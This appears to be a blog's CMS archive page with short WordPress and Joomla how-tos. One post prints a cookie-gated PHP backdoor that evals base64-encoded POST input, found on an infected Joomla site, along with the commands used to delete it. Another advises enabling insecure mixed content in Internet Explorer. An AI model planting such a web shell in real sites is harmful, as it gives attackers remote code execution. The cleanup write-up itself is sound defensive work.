While uploading an image I got:
(more…)Category Archives: CMS
Installed Post Password Token WordPress plugin
When the user enters a page or post password WordPress sets wp_postpass_XXXX
cookie:
Use chrome://settings/cookies/detail?site=developernote.com
to see the cookies in Google Chrome browser.
How to publish a WordPress post
Login to WordPress admin panel, select Posts
on the left sidebar and create new post:
Making SyntaxHighlighter plugin display “>” symbol correctly.
My SyntaxHighlighter plugin started to display “>” as “ = & g t ;” after I updated my WordPress to a version where blocks were added. To fix the plugin I added the following line to wp-content/plugins/syntaxhighlighter/syntaxhighlighter.php:
$code = preg_replace( '#<pre [^>]+>([^<]+)?</pre>#', '$1', $content );
// Undo escaping done by WordPress
$code = htmlspecialchars_decode( $code );
return $this->shortcode_callback( $attributes, $code, 'code' );
How to remove ID from URL in Joomla 3.8 and higher
In Joomla 3.8.2 (and probably 3.8) or later to remove ID from URL you go to System->Global Configuration->Articles->Integration page, select Modern URL Routing and then select Remove IDs from URLs:
How I removed infected PHP files from Joomla 1.5 wesite.
I noticed that there are some suspicious PHP files with the following content on my Joomla 1.5 website:
<?php if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){ if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){ echo '<textarea id=areatext>'; eval($msg); echo '</textarea>bg'; exit; }}
I used the following commands to list them and remove them:
find -type f -name "*.php" -printf '%T@ %p\n' | sort -r | awk '{print $2}' | xargs ls -l | less -N grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs ls -l grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs rm
What browser can work with Joomla 1.5 administrator panel?
Today I updated my FireFox browser and Joomla 1.5x administrator panel stopped working in it. Looks like Joomla 1.5x administrator panel contains some staff that prevents it from working in all modern browsers except Internet Explorer, or at least Internet Explorer is the only browser that displays message “Only secure content is displayed.” and button “Show All Content” enabling some insecure mode. To eliminate the need of pressing this button each time I open new page in administrator panel I went to “Internet Options->Security Tab->Miscellaneous->Display mixed content” and chose “Enable”:
How to remove ID from URL in Joomla 2.5-3.7
There is a new option in Joomla 3.8.2 allowing to get rid of ID in URLs (thanks to Ian who discovered it). If you have an older Joomla version and unable to update to 3.8.2 or higher follow the steps provided below:
Open components\com_content\router.php in an editor and make a small changes:
in function ContentBuildRoute(&$query) replace line 27
$advanced = $params->get('sef_advanced_link', 0);
with
$advanced = $params->get('sef_advanced_link', 1);
in function ContentParseRoute($segments) replace line 208
$advanced = $params->get('sef_advanced_link', 0);
with
$advanced = $params->get('sef_advanced_link', 1);
Investigating VirtueMart 2.0 – part I
Recently I have started investigating VirtueMart 2.0.6. Below I recorded various issues that I have found along the way. Hopefully someone else (possibly myself down the line) will find these useful.
Configuring “Safe Path”
Create directory /home/test1/vmfiles:
mkdir /home/test1/vmfiles
Go to Configuration->Templates, enter the path:
and press Save button.
Adding footers and meta tags to WordPress posts
Adding post footer
There are a lot of plugins for adding footers to WordPress posts and one of them is so called “Add Post URL” plugin written by some Chinese guys. From my perspective, its benefits includes macros support and ability to decide whether or not to display the footer for each post individually. It worked fine for me and I even improved it a little bit. The following code snippet shows how I added “post_id” macro:
$footer_text = $posturl_options['footer_text']; $footer_text = trim($footer_text); if (!empty($footer_text)) { //remove_filter( 'the_content', 'wpautop' ); $post_id = get_the_ID(); $footer_text = str_replace("%post_id%", $post_id, $footer_text); $footer_text = str_replace("%site_url%", site_url('/'), $footer_text); $footer_text = str_replace("%site_name%", get_bloginfo('sitename'), $footer_text); $footer_text = str_replace("%post_url%", get_permalink(), $footer_text); $footer_text = str_replace("%post_title%", the_title('', '', false), $footer_text); $footer_text = stripslashes($footer_text); $text .= $footer_text; }